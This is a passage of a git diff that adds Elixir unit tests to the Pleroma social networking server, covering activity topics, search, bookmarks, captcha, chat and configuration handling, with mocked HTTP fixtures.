AGPL-3.0-only + +defmodule Pleroma.Activity.Ir.TopicsTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Activity.Ir.Topics + alias Pleroma.Object + + require Pleroma.Constants + + describe "poll answer" do + test "produce no topics" do + activity = %Activity{object: %Object{data: %{"type" => "Answer"}}} + + assert [] == Topics.get_activity_topics(activity) + end + end + + describe "non poll answer" do + test "always add user and list topics" do + activity = %Activity{object: %Object{data: %{"type" => "FooBar"}}} + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "user") + assert Enum.member?(topics, "list") + end + end + + describe "public visibility" do + setup do + activity = %Activity{ + object: %Object{data: %{"type" => "Note"}}, + data: %{"to" => [Pleroma.Constants.as_public()]} + } + + {:ok, activity: activity} + end + + test "produces public topic", %{activity: activity} do + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "public") + end + + test "local action produces public:local topic", %{activity: activity} do + activity = %{activity | local: true} + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "public:local") + end + + test "non-local action does not produce public:local topic", %{activity: activity} do + activity = %{activity | local: false} + topics = Topics.get_activity_topics(activity) + + refute Enum.member?(topics, "public:local") + end + end + + describe "public visibility create events" do + setup do + activity = %Activity{ + object: %Object{data: %{"attachment" => []}}, + data: %{"type" => "Create", "to" => [Pleroma.Constants.as_public()]} + } + + {:ok, activity: activity} + end + + test "with no attachments doesn't produce public:media topics", %{activity: activity} do + topics = Topics.get_activity_topics(activity) + + refute Enum.member?(topics, "public:media") + refute Enum.member?(topics, "public:local:media") + end + + test "converts tags to hash tags", %{activity: %{object: %{data: data} = object} = activity} do + tagged_data = Map.put(data, "tag", ["foo", "bar"]) + activity = %{activity | object: %{object | data: tagged_data}} + + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "hashtag:foo") + assert Enum.member?(topics, "hashtag:bar") + end + + test "only converts strings to hash tags", %{ + activity: %{object: %{data: data} = object} = activity + } do + tagged_data = Map.put(data, "tag", [2]) + activity = %{activity | object: %{object | data: tagged_data}} + + topics = Topics.get_activity_topics(activity) + + refute Enum.member?(topics, "hashtag:2") + end + end + + describe "public visibility create events with attachments" do + setup do + activity = %Activity{ + object: %Object{data: %{"attachment" => ["foo"]}}, + data: %{"type" => "Create", "to" => [Pleroma.Constants.as_public()]} + } + + {:ok, activity: activity} + end + + test "produce public:media topics", %{activity: activity} do + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "public:media") + end + + test "local produces public:local:media topics", %{activity: activity} do + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "public:local:media") + end + + test "non-local doesn't produce public:local:media topics", %{activity: activity} do + activity = %{activity | local: false} + + topics = Topics.get_activity_topics(activity) + + refute Enum.member?(topics, "public:local:media") + end + end + + describe "non-public visibility" do + test "produces direct topic" do + activity = %Activity{object: %Object{data: %{"type" => "Note"}}, data: %{"to" => []}} + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "direct") + refute Enum.member?(topics, "public") + refute Enum.member?(topics, "public:local") + refute Enum.member?(topics, "public:media") + refute Enum.member?(topics, "public:local:media") + end + end +end diff --git a/test/pleroma/activity_test.exs b/test/pleroma/activity_test.exs new file mode 100644 index 000000000..ee6a99cc3 --- /dev/null +++ b/test/pleroma/activity_test.exs @@ -0,0 +1,234 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ActivityTest do + use Pleroma.DataCase + alias Pleroma.Activity + alias Pleroma.Bookmark + alias Pleroma.Object + alias Pleroma.Tests.ObanHelpers + alias Pleroma.ThreadMute + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "returns an activity by it's AP id" do + activity = insert(:note_activity) + found_activity = Activity.get_by_ap_id(activity.data["id"]) + + assert activity == found_activity + end + + test "returns activities by it's objects AP ids" do + activity = insert(:note_activity) + object_data = Object.normalize(activity).data + + [found_activity] = Activity.get_all_create_by_object_ap_id(object_data["id"]) + + assert activity == found_activity + end + + test "returns the activity that created an object" do + activity = insert(:note_activity) + object_data = Object.normalize(activity).data + + found_activity = Activity.get_create_by_object_ap_id(object_data["id"]) + + assert activity == found_activity + end + + test "preloading a bookmark" do + user = insert(:user) + user2 = insert(:user) + user3 = insert(:user) + activity = insert(:note_activity) + {:ok, _bookmark} = Bookmark.create(user.id, activity.id) + {:ok, _bookmark2} = Bookmark.create(user2.id, activity.id) + {:ok, bookmark3} = Bookmark.create(user3.id, activity.id) + + queried_activity = + Ecto.Query.from(Pleroma.Activity) + |> Activity.with_preloaded_bookmark(user3) + |> Repo.one() + + assert queried_activity.bookmark == bookmark3 + end + + test "setting thread_muted?" do + activity = insert(:note_activity) + user = insert(:user) + annoyed_user = insert(:user) + {:ok, _} = ThreadMute.add_mute(annoyed_user.id, activity.data["context"]) + + activity_with_unset_thread_muted_field = + Ecto.Query.from(Activity) + |> Repo.one() + + activity_for_user = + Ecto.Query.from(Activity) + |> Activity.with_set_thread_muted_field(user) + |> Repo.one() + + activity_for_annoyed_user = + Ecto.Query.from(Activity) + |> Activity.with_set_thread_muted_field(annoyed_user) + |> Repo.one() + + assert activity_with_unset_thread_muted_field.thread_muted? == nil + assert activity_for_user.thread_muted? == false + assert activity_for_annoyed_user.thread_muted? == true + end + + describe "getting a bookmark" do + test "when association is loaded" do + user = insert(:user) + activity = insert(:note_activity) + {:ok, bookmark} = Bookmark.create(user.id, activity.id) + + queried_activity = + Ecto.Query.from(Pleroma.Activity) + |> Activity.with_preloaded_bookmark(user) + |> Repo.one() + + assert Activity.get_bookmark(queried_activity, user) == bookmark + end + + test "when association is not loaded" do + user = insert(:user) + activity = insert(:note_activity) + {:ok, bookmark} = Bookmark.create(user.id, activity.id) + + queried_activity = + Ecto.Query.from(Pleroma.Activity) + |> Repo.one() + + assert Activity.get_bookmark(queried_activity, user) == bookmark + end + end + + describe "search" do + setup do + user = insert(:user) + + params = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "http://mastodon.example.org/users/admin", + "type" => "Create", + "id" => "http://mastodon.example.org/users/admin/activities/1", + "object" => %{ + "type" => "Note", + "content" => "find me!", + "id" => "http://mastodon.example.org/users/admin/objects/1", + "attributedTo" => "http://mastodon.example.org/users/admin" + }, + "to" => ["https://www.w3.org/ns/activitystreams#Public"] + } + + {:ok, local_activity} = Pleroma.Web.CommonAPI.post(user, %{status: "find me!"}) + {:ok, japanese_activity} = Pleroma.Web.CommonAPI.post(user, %{status: "更新情報"}) + {:ok, job} = Pleroma.Web.Federator.incoming_ap_doc(params) + {:ok, remote_activity} = ObanHelpers.perform(job) + + %{ + japanese_activity: japanese_activity, + local_activity: local_activity, + remote_activity: remote_activity, + user: user + } + end + + setup do: clear_config([:instance, :limit_to_local_content]) + + test "finds utf8 text in statuses", %{ + japanese_activity: japanese_activity, + user: user + } do + activities = Activity.search(user, "更新情報") + + assert [^japanese_activity] = activities + end + + test "find local and remote statuses for authenticated users", %{ + local_activity: local_activity, + remote_activity: remote_activity, + user: user + } do + activities = Enum.sort_by(Activity.search(user, "find me"), & &1.id) + + assert [^local_activity, ^remote_activity] = activities + end + + test "find only local statuses for unauthenticated users", %{local_activity: local_activity} do + assert [^local_activity] = Activity.search(nil, "find me") + end + + test "find only local statuses for unauthenticated users when `limit_to_local_content` is `:all`", + %{local_activity: local_activity} do + Pleroma.Config.put([:instance, :limit_to_local_content], :all) + assert [^local_activity] = Activity.search(nil, "find me") + end + + test "find all statuses for unauthenticated users when `limit_to_local_content` is `false`", + %{ + local_activity: local_activity, + remote_activity: remote_activity + } do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + + activities = Enum.sort_by(Activity.search(nil, "find me"), & &1.id) + + assert [^local_activity, ^remote_activity] = activities + end + end + + test "all_by_ids_with_object/1" do + %{id: id1} = insert(:note_activity) + %{id: id2} = insert(:note_activity) + + activities = + [id1, id2] + |> Activity.all_by_ids_with_object() + |> Enum.sort(&(&1.id < &2.id)) + + assert [%{id: ^id1, object: %Object{}}, %{id: ^id2, object: %Object{}}] = activities + end + + test "get_by_id_with_object/1" do + %{id: id} = insert(:note_activity) + + assert %Activity{id: ^id, object: %Object{}} = Activity.get_by_id_with_object(id) + end + + test "get_by_ap_id_with_object/1" do + %{data: %{"id" => ap_id}} = insert(:note_activity) + + assert %Activity{data: %{"id" => ^ap_id}, object: %Object{}} = + Activity.get_by_ap_id_with_object(ap_id) + end + + test "get_by_id/1" do + %{id: id} = insert(:note_activity) + + assert %Activity{id: ^id} = Activity.get_by_id(id) + end + + test "all_by_actor_and_id/2" do + user = insert(:user) + + {:ok, %{id: id1}} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"}) + {:ok, %{id: id2}} = Pleroma.Web.CommonAPI.post(user, %{status: "cofefe"}) + + assert [] == Activity.all_by_actor_and_id(user, []) + + activities = + user.ap_id + |> Activity.all_by_actor_and_id([id1, id2]) + |> Enum.sort(&(&1.id < &2.id)) + + assert [%Activity{id: ^id1}, %Activity{id: ^id2}] = activities + end +end diff --git a/test/pleroma/bbs/handler_test.exs b/test/pleroma/bbs/handler_test.exs new file mode 100644 index 000000000..eb716486e --- /dev/null +++ b/test/pleroma/bbs/handler_test.exs @@ -0,0 +1,89 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.BBS.HandlerTest do + use Pleroma.DataCase + alias Pleroma.Activity + alias Pleroma.BBS.Handler + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureIO + import Pleroma.Factory + import Ecto.Query + + test "getting the home timeline" do + user = insert(:user) + followed = insert(:user) + + {:ok, user} = User.follow(user, followed) + + {:ok, _first} = CommonAPI.post(user, %{status: "hey"}) + {:ok, _second} = CommonAPI.post(followed, %{status: "hello"}) + + output = + capture_io(fn -> + Handler.handle_command(%{user: user}, "home") + end) + + assert output =~ user.nickname + assert output =~ followed.nickname + + assert output =~ "hey" + assert output =~ "hello" + end + + test "posting" do + user = insert(:user) + + output = + capture_io(fn -> + Handler.handle_command(%{user: user}, "p this is a test post") + end) + + assert output =~ "Posted" + + activity = + Repo.one( + from(a in Activity, + where: fragment("?->>'type' = ?", a.data, "Create") + ) + ) + + assert activity.actor == user.ap_id + object = Object.normalize(activity) + assert object.data["content"] == "this is a test post" + end + + test "replying" do + user = insert(:user) + another_user = insert(:user) + + {:ok, activity} = CommonAPI.post(another_user, %{status: "this is a test post"}) + activity_object = Object.normalize(activity) + + output = + capture_io(fn -> + Handler.handle_command(%{user: user}, "r #{activity.id} this is a reply") + end) + + assert output =~ "Replied" + + reply = + Repo.one( + from(a in Activity, + where: fragment("?->>'type' = ?", a.data, "Create"), + where: a.actor == ^user.ap_id + ) + ) + + assert reply.actor == user.ap_id + + reply_object_data = Object.normalize(reply).data + assert reply_object_data["content"] == "this is a reply" + assert reply_object_data["inReplyTo"] == activity_object.data["id"] + end +end diff --git a/test/pleroma/bookmark_test.exs b/test/pleroma/bookmark_test.exs new file mode 100644 index 000000000..2726fe7cd --- /dev/null +++ b/test/pleroma/bookmark_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.BookmarkTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Bookmark + alias Pleroma.Web.CommonAPI + + describe "create/2" do + test "with valid params" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "Some cool information"}) + {:ok, bookmark} = Bookmark.create(user.id, activity.id) + assert bookmark.user_id == user.id + assert bookmark.activity_id == activity.id + end + + test "with invalid params" do + {:error, changeset} = Bookmark.create(nil, "") + refute changeset.valid? + + assert changeset.errors == [ + user_id: {"can't be blank", [validation: :required]}, + activity_id: {"can't be blank", [validation: :required]} + ] + end + end + + describe "destroy/2" do + test "with valid params" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Some cool information"}) + {:ok, _bookmark} = Bookmark.create(user.id, activity.id) + + {:ok, _deleted_bookmark} = Bookmark.destroy(user.id, activity.id) + end + end + + describe "get/2" do + test "gets a bookmark" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "Scientists Discover The Secret Behind Tenshi Eating A Corndog Being So Cute – Science Daily" + }) + + {:ok, bookmark} = Bookmark.create(user.id, activity.id) + assert bookmark == Bookmark.get(user.id, activity.id) + end + end +end diff --git a/test/pleroma/captcha_test.exs b/test/pleroma/captcha_test.exs new file mode 100644 index 000000000..1b9f4a12f --- /dev/null +++ b/test/pleroma/captcha_test.exs @@ -0,0 +1,118 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.CaptchaTest do + use Pleroma.DataCase + + import Tesla.Mock + + alias Pleroma.Captcha + alias Pleroma.Captcha.Kocaptcha + alias Pleroma.Captcha.Native + + @ets_options [:ordered_set, :private, :named_table, {:read_concurrency, true}] + setup do: clear_config([Pleroma.Captcha, :enabled]) + + describe "Kocaptcha" do + setup do + ets_name = Kocaptcha.Ets + ^ets_name = :ets.new(ets_name, @ets_options) + + mock(fn + %{method: :get, url: "https://captcha.kotobank.ch/new"} -> + json(%{ + md5: "63615261b77f5354fb8c4e4986477555", + token: "afa1815e14e29355e6c8f6b143a39fa2", + url: "/captchas/afa1815e14e29355e6c8f6b143a39fa2.png" + }) + end) + + :ok + end + + test "new and validate" do + new = Kocaptcha.new() + + token = "afa1815e14e29355e6c8f6b143a39fa2" + url = "https://captcha.kotobank.ch/captchas/afa1815e14e29355e6c8f6b143a39fa2.png" + + assert %{ + answer_data: answer, + token: ^token, + url: ^url, + type: :kocaptcha, + seconds_valid: 300 + } = new + + assert Kocaptcha.validate(token, "7oEy8c", answer) == :ok + end + end + + describe "Native" do + test "new and validate" do + new = Native.new() + + assert %{ + answer_data: answer, + token: token, + type: :native, + url: "data:image/png;base64," <> _, + seconds_valid: 300 + } = new + + assert is_binary(answer) + assert :ok = Native.validate(token, answer, answer) + assert {:error, :invalid} == Native.validate(token, answer, answer <> "foobar") + end + end + + describe "Captcha Wrapper" do + test "validate" do + Pleroma.Config.put([Pleroma.Captcha, :enabled], true) + + new = Captcha.new() + + assert %{ + answer_data: answer, + token: token + } = new + + assert is_binary(answer) + assert :ok = Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", answer) + Cachex.del(:used_captcha_cache, token) + end + + test "doesn't validate invalid answer" do + Pleroma.Config.put([Pleroma.Captcha, :enabled], true) + + new = Captcha.new() + + assert %{ + answer_data: answer, + token: token + } = new + + assert is_binary(answer) + + assert {:error, :invalid_answer_data} = + Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", answer <> "foobar") + end + + test "nil answer_data" do + Pleroma.Config.put([Pleroma.Captcha, :enabled], true) + + new = Captcha.new() + + assert %{ + answer_data: answer, + token: token + } = new + + assert is_binary(answer) + + assert {:error, :invalid_answer_data} = + Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", nil) + end + end +end diff --git a/test/pleroma/chat/message_reference_test.exs b/test/pleroma/chat/message_reference_test.exs new file mode 100644 index 000000000..aaa7c1ad4 --- /dev/null +++ b/test/pleroma/chat/message_reference_test.exs @@ -0,0 +1,29 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Chat.MessageReferenceTest do + use Pleroma.DataCase, async: true + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "messages" do + test "it returns the last message in a chat" do + user = insert(:user) + recipient = insert(:user) + + {:ok, _message_1} = CommonAPI.post_chat_message(user, recipient, "hey") + {:ok, _message_2} = CommonAPI.post_chat_message(recipient, user, "ho") + + {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) + + message = MessageReference.last_message_for_chat(chat) + + assert message.object.data["content"] == "ho" + end + end +end diff --git a/test/pleroma/chat_test.exs b/test/pleroma/chat_test.exs new file mode 100644 index 000000000..9e8a9ebf0 --- /dev/null +++ b/test/pleroma/chat_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ChatTest do + use Pleroma.DataCase, async: true + + alias Pleroma.Chat + + import Pleroma.Factory + + describe "creation and getting" do + test "it only works if the recipient is a valid user (for now)" do + user = insert(:user) + + assert {:error, _chat} = Chat.bump_or_create(user.id, "http://some/nonexisting/account") + assert {:error, _chat} = Chat.get_or_create(user.id, "http://some/nonexisting/account") + end + + test "it creates a chat for a user and recipient" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + + assert chat.id + end + + test "deleting the user deletes the chat" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + + Repo.delete(user) + + refute Chat.get_by_id(chat.id) + end + + test "deleting the recipient deletes the chat" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + + Repo.delete(other_user) + + refute Chat.get_by_id(chat.id) + end + + test "it returns and bumps a chat for a user and recipient if it already exists" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + {:ok, chat_two} = Chat.bump_or_create(user.id, other_user.ap_id) + + assert chat.id == chat_two.id + end + + test "it returns a chat for a user and recipient if it already exists" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + {:ok, chat_two} = Chat.get_or_create(user.id, other_user.ap_id) + + assert chat.id == chat_two.id + end + + test "a returning chat will have an updated `update_at` field" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + :timer.sleep(1500) + {:ok, chat_two} = Chat.bump_or_create(user.id, other_user.ap_id) + + assert chat.id == chat_two.id + assert chat.updated_at != chat_two.updated_at + end + end +end diff --git a/test/pleroma/config/deprecation_warnings_test.exs b/test/pleroma/config/deprecation_warnings_test.exs new file mode 100644 index 000000000..02ada1aab --- /dev/null +++ b/test/pleroma/config/deprecation_warnings_test.exs @@ -0,0 +1,140 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Config.DeprecationWarningsTest do + use ExUnit.Case + use Pleroma.Tests.Helpers + + import ExUnit.CaptureLog + + alias Pleroma.Config + alias Pleroma.Config.DeprecationWarnings + + test "check_old_mrf_config/0" do + clear_config([:instance, :rewrite_policy], Pleroma.Web.ActivityPub.MRF.NoOpPolicy) + clear_config([:instance, :mrf_transparency], true) + clear_config([:instance, :mrf_transparency_exclusions], []) + + assert capture_log(fn -> DeprecationWarnings.check_old_mrf_config() end) =~ + """ + !!!DEPRECATION WARNING!!! + Your config is using old namespaces for MRF configuration. They should work for now, but you are advised to change to new namespaces to prevent possible issues later: + + * `config :pleroma, :instance, rewrite_policy` is now `config :pleroma, :mrf, policies` + * `config :pleroma, :instance, mrf_transparency` is now `config :pleroma, :mrf, transparency` + * `config :pleroma, :instance, mrf_transparency_exclusions` is now `config :pleroma, :mrf, transparency_exclusions` + """ + end + + test "move_namespace_and_warn/2" do + old_group1 = [:group, :key] + old_group2 = [:group, :key2] + old_group3 = [:group, :key3] + + new_group1 = [:another_group, :key4] + new_group2 = [:another_group, :key5] + new_group3 = [:another_group, :key6] + + clear_config(old_group1, 1) + clear_config(old_group2, 2) + clear_config(old_group3, 3) + + clear_config(new_group1) + clear_config(new_group2) + clear_config(new_group3) + + config_map = [ + {old_group1, new_group1, "\n error :key"}, + {old_group2, new_group2, "\n error :key2"}, + {old_group3, new_group3, "\n error :key3"} + ] + + assert capture_log(fn -> + DeprecationWarnings.move_namespace_and_warn( + config_map, + "Warning preface" + ) + end) =~ "Warning preface\n error :key\n error :key2\n error :key3" + + assert Config.get(new_group1) == 1 + assert Config.get(new_group2) == 2 + assert Config.get(new_group3) == 3 + end + + test "check_media_proxy_whitelist_config/0" do + clear_config([:media_proxy, :whitelist], ["https://example.com", "example2.com"]) + + assert capture_log(fn -> + DeprecationWarnings.check_media_proxy_whitelist_config() + end) =~ "Your config is using old format (only domain) for MediaProxy whitelist option" + end + + test "check_welcome_message_config/0" do + clear_config([:instance, :welcome_user_nickname], "LainChan") + + assert capture_log(fn -> + DeprecationWarnings.check_welcome_message_config() + end) =~ "Your config is using the old namespace for Welcome messages configuration." + end + + test "check_hellthread_threshold/0" do + clear_config([:mrf_hellthread, :threshold], 16) + + assert capture_log(fn -> + DeprecationWarnings.check_hellthread_threshold() + end) =~ "You are using the old configuration mechanism for the hellthread filter." + end + + test "check_activity_expiration_config/0" do + clear_config([Pleroma.ActivityExpiration, :enabled], true) + + assert capture_log(fn -> + DeprecationWarnings.check_activity_expiration_config() + end) =~ "Your config is using old namespace for activity expiration configuration." + end + + describe "check_gun_pool_options/0" do + test "await_up_timeout" do + config = Config.get(:connections_pool) + clear_config(:connections_pool, Keyword.put(config, :await_up_timeout, 5_000)) + + assert capture_log(fn -> + DeprecationWarnings.check_gun_pool_options() + end) =~ + "Your config is using old setting `config :pleroma, :connections_pool, await_up_timeout`." + end + + test "pool timeout" do + old_config = [ + federation: [ + size: 50, + max_waiting: 10, + timeout: 10_000 + ], + media: [ + size: 50, + max_waiting: 10, + timeout: 10_000 + ], + upload: [ + size: 25, + max_waiting: 5, + timeout: 15_000 + ], + default: [ + size: 10, + max_waiting: 2, + timeout: 5_000 + ] + ] + + clear_config(:pools, old_config) + + assert capture_log(fn -> + DeprecationWarnings.check_gun_pool_options() + end) =~ + "Your config is using old setting name `timeout` instead of `recv_timeout` in pool settings" + end + end +end diff --git a/test/pleroma/config/holder_test.exs b/test/pleroma/config/holder_test.exs new file mode 100644 index 000000000..abcaa27dd --- /dev/null +++ b/test/pleroma/config/holder_test.exs @@ -0,0 +1,31 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Config.HolderTest do + use ExUnit.Case, async: true + + alias Pleroma.Config.Holder + + test "default_config/0" do + config = Holder.default_config() + assert config[:pleroma][Pleroma.Uploaders.Local][:uploads] == "test/uploads" + + refute config[:pleroma][Pleroma.Repo] + refute config[:pleroma][Pleroma.Web.Endpoint] + refute config[:pleroma][:env] + refute config[:pleroma][:configurable_from_database] + refute config[:pleroma][:database] + refute config[:phoenix][:serve_endpoints] + refute config[:tesla][:adapter] + end + + test "default_config/1" do + pleroma_config = Holder.default_config(:pleroma) + assert pleroma_config[Pleroma.Uploaders.Local][:uploads] == "test/uploads" + end + + test "default_config/2" do + assert Holder.default_config(:pleroma, Pleroma.Uploaders.Local) == [uploads: "test/uploads"] + end +end diff --git a/test/pleroma/config/loader_test.exs b/test/pleroma/config/loader_test.exs new file mode 100644 index 000000000..607572f4e --- /dev/null +++ b/test/pleroma/config/loader_test.exs @@ -0,0 +1,29 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Config.LoaderTest do + use ExUnit.Case, async: true + + alias Pleroma.Config.Loader + + test "read/1" do + config = Loader.read("test/fixtures/config/temp.secret.exs") + assert config[:pleroma][:first_setting][:key] == "value" + assert config[:pleroma][:first_setting][:key2] == [Pleroma.Repo] + assert config[:quack][:level] == :info + end + + test "filter_group/2" do + assert Loader.filter_group(:pleroma, + pleroma: [ + {Pleroma.Repo, [a: 1, b: 2]}, + {Pleroma.Upload, [a: 1, b: 2]}, + {Pleroma.Web.Endpoint, []}, + env: :test, + configurable_from_database: true, + database: [] + ] + ) == [{Pleroma.Upload, [a: 1, b: 2]}] + end +end diff --git a/test/pleroma/config/transfer_task_test.exs b/test/pleroma/config/transfer_task_test.exs new file mode 100644 index 000000000..f53829e09 --- /dev/null +++ b/test/pleroma/config/transfer_task_test.exs @@ -0,0 +1,120 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Config.TransferTaskTest do + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Pleroma.Factory + + alias Pleroma.Config.TransferTask + + setup do: clear_config(:configurable_from_database, true) + + test "transfer config values from db to env" do + refute Application.get_env(:pleroma, :test_key) + refute Application.get_env(:idna, :test_key) + refute Application.get_env(:quack, :test_key) + refute Application.get_env(:postgrex, :test_key) + initial = Application.get_env(:logger, :level) + + insert(:config, key: :test_key, value: [live: 2, com: 3]) + insert(:config, group: :idna, key: :test_key, value: [live: 15, com: 35]) + insert(:config, group: :quack, key: :test_key, value: [:test_value1, :test_value2]) + insert(:config, group: :postgrex, key: :test_key, value: :value) + insert(:config, group: :logger, key: :level, value: :debug) + + TransferTask.start_link([]) + + assert Application.get_env(:pleroma, :test_key) == [live: 2, com: 3] + assert Application.get_env(:idna, :test_key) == [live: 15, com: 35] + assert Application.get_env(:quack, :test_key) == [:test_value1, :test_value2] + assert Application.get_env(:logger, :level) == :debug + assert Application.get_env(:postgrex, :test_key) == :value + + on_exit(fn -> + Application.delete_env(:pleroma, :test_key) + Application.delete_env(:idna, :test_key) + Application.delete_env(:quack, :test_key) + Application.delete_env(:postgrex, :test_key) + Application.put_env(:logger, :level, initial) + end) + end + + test "transfer config values for 1 group and some keys" do + level = Application.get_env(:quack, :level) + meta = Application.get_env(:quack, :meta) + + insert(:config, group: :quack, key: :level, value: :info) + insert(:config, group: :quack, key: :meta, value: [:none]) + + TransferTask.start_link([]) + + assert Application.get_env(:quack, :level) == :info + assert Application.get_env(:quack, :meta) == [:none] + default = Pleroma.Config.Holder.default_config(:quack, :webhook_url) + assert Application.get_env(:quack, :webhook_url) == default + + on_exit(fn -> + Application.put_env(:quack, :level, level) + Application.put_env(:quack, :meta, meta) + end) + end + + test "transfer config values with full subkey update" do + clear_config(:emoji) + clear_config(:assets) + + insert(:config, key: :emoji, value: [groups: [a: 1, b: 2]]) + insert(:config, key: :assets, value: [mascots: [a: 1, b: 2]]) + + TransferTask.start_link([]) + + emoji_env = Application.get_env(:pleroma, :emoji) + assert emoji_env[:groups] == [a: 1, b: 2] + assets_env = Application.get_env(:pleroma, :assets) + assert assets_env[:mascots] == [a: 1, b: 2] + end + + describe "pleroma restart" do + setup do + on_exit(fn -> Restarter.Pleroma.refresh() end) + end + + test "don't restart if no reboot time settings were changed" do + clear_config(:emoji) + insert(:config, key: :emoji, value: [groups: [a: 1, b: 2]]) + + refute String.contains?( + capture_log(fn -> TransferTask.start_link([]) end), + "pleroma restarted" + ) + end + + test "on reboot time key" do + clear_config(:chat) + insert(:config, key: :chat, value: [enabled: false]) + assert capture_log(fn -> TransferTask.start_link([]) end) =~ "pleroma restarted" + end + + test "on reboot time subkey" do + clear_config(Pleroma.Captcha) + insert(:config, key: Pleroma.Captcha, value: [seconds_valid: 60]) + assert capture_log(fn -> TransferTask.start_link([]) end) =~ "pleroma restarted" + end + + test "don't restart pleroma on reboot time key and subkey if there is false flag" do + clear_config(:chat) + clear_config(Pleroma.Captcha) + + insert(:config, key: :chat, value: [enabled: false]) + insert(:config, key: Pleroma.Captcha, value: [seconds_valid: 60]) + + refute String.contains?( + capture_log(fn -> TransferTask.load_and_update_env([], false) end), + "pleroma restarted" + ) + end + end +end diff --git a/test/pleroma/config_db_test.exs b/test/pleroma/config_db_test.exs new file mode 100644 index 000000000..3895e2cda --- /dev/null +++ b/test/pleroma/config_db_test.exs @@ -0,0 +1,546 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ConfigDBTest do + use Pleroma.DataCase, async: true + import Pleroma.Factory + alias Pleroma.ConfigDB + + test "get_by_params/1" do + config = insert(:config) + insert(:config) + + assert config == ConfigDB.get_by_params(%{group: config.group, key: config.key}) + end + + test "get_all_as_keyword/0" do + saved = insert(:config) + insert(:config, group: ":quack", key: ":level", value: :info) + insert(:config, group: ":quack", key: ":meta", value: [:none]) + + insert(:config, + group: ":quack", + key: ":webhook_url", + value: "https://hooks.slack.com/services/KEY/some_val" + ) + + config = ConfigDB.get_all_as_keyword() + + assert config[:pleroma] == [ + {saved.key, saved.value} + ] + + assert config[:quack][:level] == :info + assert config[:quack][:meta] == [:none] + assert config[:quack][:webhook_url] == "https://hooks.slack.com/services/KEY/some_val" + end + + describe "update_or_create/1" do + test "common" do + config = insert(:config) + key2 = :another_key + + params = [ + %{group: :pleroma, key: key2, value: "another_value"}, + %{group: :pleroma, key: config.key, value: [a: 1, b: 2, c: "new_value"]} + ] + + assert Repo.all(ConfigDB) |> length() == 1 + + Enum.each(params, &ConfigDB.update_or_create(&1)) + + assert Repo.all(ConfigDB) |> length() == 2 + + config1 = ConfigDB.get_by_params(%{group: config.group, key: config.key}) + config2 = ConfigDB.get_by_params(%{group: :pleroma, key: key2}) + + assert config1.value == [a: 1, b: 2, c: "new_value"] + assert config2.value == "another_value" + end + + test "partial update" do + config = insert(:config, value: [key1: "val1", key2: :val2]) + + {:ok, config} = + ConfigDB.update_or_create(%{ + group: config.group, + key: config.key, + value: [key1: :val1, 